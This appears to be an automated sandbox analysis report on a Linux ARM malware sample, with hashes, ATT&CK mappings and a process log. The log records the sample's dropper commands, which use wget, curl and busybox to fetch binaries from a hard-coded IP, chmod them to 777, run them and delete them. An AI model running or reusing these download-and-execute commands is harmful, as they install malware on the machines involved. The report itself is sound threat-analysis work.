f1827474c4a41c921353b1bf8000f5eb4076ae63674b14836fff85cd57ec4686

Analysis

max time kernel
22s
max time network
48s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2024, 05:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f1827474c4a41c921353b1bf8000f5eb4076ae63674b14836fff85cd57ec4686N
Size 10KB
Sample241027-gbls2askdl
SHA256 f1827474c4a41c921353b1bf8000f5eb4076ae63674b14836fff85cd57ec4686
MD5 a2a47b998eb957b97b02fc7794e73e50
SHA1 4627d6e0987af86950f0d5e4c2886a11f4f4d486
SHA512 b847ed768b096883bfcaffa96a4d6896dcd0395eaec995b23816115ea2f737bc9029038d70e64bd607f845d4be6d7339a6ed862a5916b59af0c3c2276157dd61
SSDEEP 192:sUcoA8noo9/5l45x22DOTUGa5l45x2PDUdA8nooH:sUcekyTUxDUn
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 17 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
848	chmod
691	chmod
752	chmod
770	chmod
806	chmod
824	chmod
800	chmod
818	chmod
842	chmod
712	chmod
791	chmod
812	chmod
681	chmod
738	chmod
830	chmod
836	chmod
856	chmod

Executes dropped EXE 17 IoCs

Checks CPU configuration 1 TTPs 17 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 34 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf	curl
File opened for modification	/tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy	curl
File opened for modification	/tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK	curl
File opened for modification	/tmp/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU	curl
File opened for modification	/tmp/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5	curl
File opened for modification	/tmp/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa	curl
File opened for modification	/tmp/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L	curl
File opened for modification	/tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK	curl
File opened for modification	/tmp/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA	curl
File opened for modification	/tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A	curl
File opened for modification	/tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy	curl
File opened for modification	/tmp/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l	curl
File opened for modification	/tmp/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8	curl
File opened for modification	/tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A	curl
File opened for modification	/tmp/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61	curl
File opened for modification	/tmp/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW	curl
File opened for modification	/tmp/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11	curl

/tmp/f1827474c4a41c921353b1bf8000f5eb4076ae63674b14836fff85cd57ec4686N
/tmp/f1827474c4a41c921353b1bf8000f5eb4076ae63674b14836fff85cd57ec4686N
1⤵
PID:650
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:652
- /usr/bin/wget
  wget http://87.120.84.230/bins/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  PID:658
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:671
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  PID:678
- /bin/chmod
  chmod 777 ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  ./ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  - Executes dropped EXE
  PID:682
- /bin/rm
  rm ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
  2⤵
  PID:683
- /usr/bin/wget
  wget http://87.120.84.230/bins/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  PID:684
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  PID:686
- /bin/chmod
  chmod 777 vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  ./vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  - Executes dropped EXE
  PID:692
- /bin/rm
  rm vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
  2⤵
  PID:694
- /usr/bin/wget
  wget http://87.120.84.230/bins/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  PID:695
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:701
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  PID:707
- /bin/chmod
  chmod 777 UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /tmp/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  ./UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  - Executes dropped EXE
  PID:713
- /bin/rm
  rm UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
  2⤵
  PID:715
- /usr/bin/wget
  wget http://87.120.84.230/bins/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  PID:716
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  PID:729
- /bin/chmod
  chmod 777 TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  ./TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
  2⤵
  PID:741
- /usr/bin/wget
  wget http://87.120.84.230/bins/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  PID:751
- /bin/chmod
  chmod 777 9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  ./9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm 9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
  2⤵
  PID:754
- /usr/bin/wget
  wget http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:765
- /bin/chmod
  chmod 777 JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  ./JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:772
- /usr/bin/wget
  wget http://87.120.84.230/bins/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  PID:786
- /bin/chmod
  chmod 777 wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  ./wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  - Executes dropped EXE
  PID:793
- /bin/rm
  rm wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  PID:794
- /usr/bin/wget
  wget http://87.120.84.230/bins/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  PID:795
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:798
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  PID:799
- /bin/chmod
  chmod 777 kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  ./kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  - Executes dropped EXE
  PID:801
- /bin/rm
  rm kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
  2⤵
  PID:802
- /usr/bin/wget
  wget http://87.120.84.230/bins/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  PID:805
- /bin/chmod
  chmod 777 IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  ./IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
  2⤵
  PID:808
- /usr/bin/wget
  wget http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:811
- /bin/chmod
  chmod 777 I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  ./I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:814
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:817
- /bin/chmod
  chmod 777 ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  ./ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:820
- /usr/bin/wget
  wget http://87.120.84.230/bins/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  PID:823
- /bin/chmod
  chmod 777 CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  ./CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
  2⤵
  PID:826
- /usr/bin/wget
  wget http://87.120.84.230/bins/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  PID:829
- /bin/chmod
  chmod 777 GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  ./GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
  2⤵
  PID:832
- /usr/bin/wget
  wget http://87.120.84.230/bins/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  PID:835
- /bin/chmod
  chmod 777 JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  ./JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
  2⤵
  PID:838
- /usr/bin/wget
  wget http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:841
- /bin/chmod
  chmod 777 I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  ./I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm I218GnK1hv0f51oIEetHFCMXWIehvPj25A
  2⤵
  PID:844
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:845
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:847
- /bin/chmod
  chmod 777 ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  ./ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  - Executes dropped EXE
  PID:849
- /bin/rm
  rm ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
  2⤵
  PID:850
- /usr/bin/wget
  wget http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:851
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:855
- /bin/chmod
  chmod 777 JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  ./JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
  2⤵
  PID:858
- /usr/bin/wget
  wget http://87.120.84.230/bins/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
  2⤵
  PID:859

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU

Path /tmp/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU	682	ExqZmyLasPpfjP0zYRStDohEAstuCZ5NSU
/tmp/vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf	692	vyIsJRnhMe9EvaIiC91tbm0LNqbsRkg6Sf
/tmp/UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5	713	UJov0eHiO899J3qKpaaDC1cMbfK0gPz9g5
/tmp/TkRc6TMuLcQZlDj7956w9Kes779B0epnNa	740	TkRc6TMuLcQZlDj7956w9Kes779B0epnNa
/tmp/9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L	753	9rVLS5jL6urkRX02lpObas8Hs3jU3jR87L
/tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK	771	JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK
/tmp/wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l	793	wqRDZBSXxl5yxISLcL3S7XmQFcLO4RVX7l
/tmp/kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA	801	kVOG6nGsYHHlokq4s6B0xEiIrAW86nrjCA
/tmp/IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8	807	IWo2EE4DE6Lfa35eGyo8BPzHxCJriZFck8
/tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A	813	I218GnK1hv0f51oIEetHFCMXWIehvPj25A
/tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy	819	ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
/tmp/CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61	825	CWLolFICe1QoDNNnWK9GuNyHPK29T6GL61
/tmp/GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW	831	GIO9UMKHlVcmE0WOoNIR6fbNq1L9fzC3BW
/tmp/JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11	837	JV77nSNj6TzlcJqX1J9WPwVq6chnzyGo11
/tmp/I218GnK1hv0f51oIEetHFCMXWIehvPj25A	843	I218GnK1hv0f51oIEetHFCMXWIehvPj25A
/tmp/ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy	849	ZupjlohsgMxQLQxqMz0xtN8Hcib6zVHkiy
/tmp/JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK	857	JMLPXXvqYk1DzMs0x4ubGLxIQiyiV1ggeK

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads